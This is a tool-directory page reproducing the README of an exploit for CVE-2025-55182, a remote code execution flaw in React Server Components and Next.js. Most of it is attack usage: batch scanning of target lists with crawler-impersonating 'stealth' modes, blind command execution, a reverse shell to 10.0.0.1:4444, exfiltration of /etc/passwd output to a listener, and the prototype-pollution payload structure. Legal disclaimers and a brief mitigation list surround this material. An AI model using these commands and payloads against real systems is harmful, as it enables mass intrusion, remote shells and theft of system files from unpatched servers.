Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182-exp — CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool | Kitploit
Tools/GitHubGitHub/spritualkb/cve-2025-55182-exp
Vulnerability ScannersExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRed TeamingRemote Access ToolPayload Development
GitHubspritualkb/cve-2025-55182-exp

CVE-2025-55182-exp

CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool

461239 months agoReviewed by Kitploit
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182-exp

CVE Type Python License

🔥 Overview

CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) affecting Next.js applications using App Router with Server Actions.

The vulnerability exists in the Flight protocol deserialization process, allowing attackers to achieve arbitrary code execution through prototype pollution.

⚠️ Disclaimer / 免责声明

FOR AUTHORIZED SECURITY TESTING ONLY

This tool is provided for educational and authorized penetration testing purposes only. Unauthorized access to computer systems is illegal. Any illegal or unauthorized use of this tool is solely the responsibility of the user. The author assumes no liability whatsoever.

本工具仅供授权安全测试和教育目的使用。如有任何违规、非法操作,一切后果由使用者自行承担,与本人无关。

Please read the full DISCLAIMER.md before using this tool.

By using this tool, you agree that:

  • You have obtained proper authorization for any testing
  • You will comply with all applicable laws and regulations
  • You accept full responsibility for your actions
  • The author bears no liability for any misuse

📋 Affected Versions

ComponentAffected Versions
react-server-dom-webpack19.0.0 - 19.2.0
Next.js15.x, 16.x (App Router + Server Actions)

🛠️ Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp

# Install dependencies
pip install requests
pip install requests[socks]  # For SOCKS5 proxy support

📖 Usage

Check Single Target

root@kitploit:~
python3 exploit.py http://target:3000 --check

Batch Scan from File

root@kitploit:~
# Basic batch scan
python3 exploit.py -f targets.txt --check

# With stealth mode and delay
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2

# Save vulnerable targets to file
python3 exploit.py -f targets.txt --check -o vulnerable.txt

Execute Command (Blind RCE)

root@kitploit:~
python3 exploit.py http://target:3000 -c "id"

Reverse Shell

root@kitploit:~
# Start listener first
nc -lvnp 4444

# Execute reverse shell
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444

Exfiltrate Command Output

root@kitploit:~
# Start listener
nc -lvnp 4444

# Execute and exfiltrate output
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

Using Proxy

root@kitploit:~
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080

🎭 Stealth Modes

ModeDescription
browserMimics real browser requests (default)
crawlerMimics search engine crawlers (Googlebot, Baiduspider, etc.)
securityUses security scanner User-Agents

🔧 Options

OptionDescription
targetTarget URL (e.g., http://localhost:3000)
-f, --fileFile containing target URLs (one per line)
-o, --outputOutput file for vulnerable targets
-c, --commandCommand to execute (blind)
--checkCheck for vulnerability
--proxySOCKS5 proxy (e.g., socks5://127.0.0.1:1080)
--stealthStealth mode: browser, crawler, security
--delayDelay between requests in seconds
--variantsUse multiple payload variants for thorough check
--revshell IP PORTReverse shell to IP:PORT
--exfil CMD IP PORTExecute CMD and POST output to IP:PORT
-t, --timeoutRequest timeout in seconds (default: 15)

🔬 Technical Details

Vulnerability Mechanism

The exploit leverages prototype pollution in the Flight protocol deserialization:

  1. Prototype Pollution: Pollutes Object.prototype.then via "$1:__proto__:then"
  2. Function Constructor Access: Sets _formData.get to Function constructor via "$1:constructor:constructor"
  3. Code Injection: Injects malicious code via _prefix that gets passed to Function()

Payload Structure

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<malicious_code>",
    "_chunks": "$Q2",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

📁 File Structure

root@kitploit:~
CVE-2025-55182-exp/
├── exploit.py      # Main exploit script
├── targets.txt     # Target URLs list (one per line)
└── README.md       # This file

📝 targets.txt Format

root@kitploit:~
# Comments start with #
http://target1.com:3000
https://target2.com
target3.com:3000

🛡️ Mitigation

  1. Update to the latest patched versions of react-server-dom-webpack and Next.js
  2. Implement input validation on Server Actions
  3. Use Web Application Firewall (WAF) rules to detect malicious Flight protocol payloads
  4. Monitor for unusual server-side errors (HTTP 500) with prototype-related messages

📜 License

This project is licensed under the MIT License - see the LICENSE file for details.


⚠️ Legal Disclaimer / 法律免责声明

English

Terms of Use

By downloading, copying, installing, or using this software, you agree to be bound by the terms of this disclaimer.

Intended Purpose

This tool is designed exclusively for:

  • Authorized penetration testing
  • Security research and education
  • Vulnerability assessment with proper authorization
  • CTF (Capture The Flag) competitions
  • Personal lab environments

Prohibited Use

You SHALL NOT use this tool for:

  • Unauthorized access to computer systems
  • Any illegal activities
  • Attacking systems without explicit written permission
  • Causing damage to any systems or data
  • Any activities that violate local, state, national, or international laws

No Warranty

THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. THE AUTHOR(S) DISCLAIM ALL WARRANTIES, INCLUDING BUT NOT LIMITED TO:

  • MERCHANTABILITY
  • FITNESS FOR A PARTICULAR PURPOSE
  • NON-INFRINGEMENT

Limitation of Liability

IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY:

  • Direct, indirect, incidental, special, exemplary, or consequential damages
  • Loss of data, profits, or business opportunities
  • Legal consequences arising from misuse of this tool

User Responsibility

The user assumes full responsibility for:

  • Obtaining proper authorization before testing any system
  • Compliance with all applicable laws and regulations
  • Any consequences resulting from the use of this tool
  • Ensuring the legality of their actions in their jurisdiction

Acknowledgment

By using this tool, you acknowledge that:

  1. You have read and understood this disclaimer
  2. You will use this tool only for legal and authorized purposes
  3. You accept all risks associated with the use of this tool
  4. The author(s) bear no responsibility for any misuse

中文

使用条款

下载、复制、安装或使用本软件即表示您同意受本免责声明条款的约束。

预期用途

本工具仅用于:

  • 授权的渗透测试
  • 安全研究和教育
  • 经过适当授权的漏洞评估
  • CTF(夺旗赛)比赛
  • 个人实验室环境

禁止用途

您不得将本工具用于:

  • 未经授权访问计算机系统
  • 任何非法活动
  • 在没有明确书面许可的情况下攻击系统
  • 对任何系统或数据造成损害
  • 任何违反当地、州、国家或国际法律的活动

无担保声明

本软件按"原样"提供,不提供任何明示或暗示的担保。作者否认所有担保,包括但不限于:

  • 适销性
  • 特定用途的适用性
  • 非侵权性

责任限制

在任何情况下,作者均不对以下情况承担责任:

  • 直接、间接、附带、特殊、惩戒性或后果性损害
  • 数据、利润或商业机会的损失
  • 因滥用本工具而产生的法律后果

用户责任

用户对以下事项承担全部责任:

  • 在测试任何系统之前获得适当的授权
  • 遵守所有适用的法律法规
  • 使用本工具产生的任何后果
  • 确保其行为在其管辖范围内的合法性

确认声明

使用本工具即表示您确认:

  1. 您已阅读并理解本免责声明
  2. 您将仅将本工具用于合法和授权的目的
  3. 您接受与使用本工具相关的所有风险
  4. 作者对任何滥用行为不承担任何责任

法律参考 / Legal References

相关法律 / Relevant Laws

  • 中国: 《中华人民共和国网络安全法》、《中华人民共和国刑法》第285条、第286条
  • USA: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
  • EU: Directive 2013/40/EU on attacks against information systems
  • UK: Computer Misuse Act 1990

授权测试要求 / Authorization Requirements

在进行任何安全测试之前,您必须:

  1. 获得系统所有者的书面授权
  2. 明确定义测试范围和边界
  3. 遵守所有适用的法律法规
  4. 记录所有测试活动

Before conducting any security testing, you must:

  1. Obtain written authorization from the system owner
  2. Clearly define the scope and boundaries of testing
  3. Comply with all applicable laws and regulations
  4. Document all testing activities

⚠️ 未经授权的计算机访问是违法行为 ⚠️
⚠️ Unauthorized computer access is a criminal offense ⚠️

Download Tool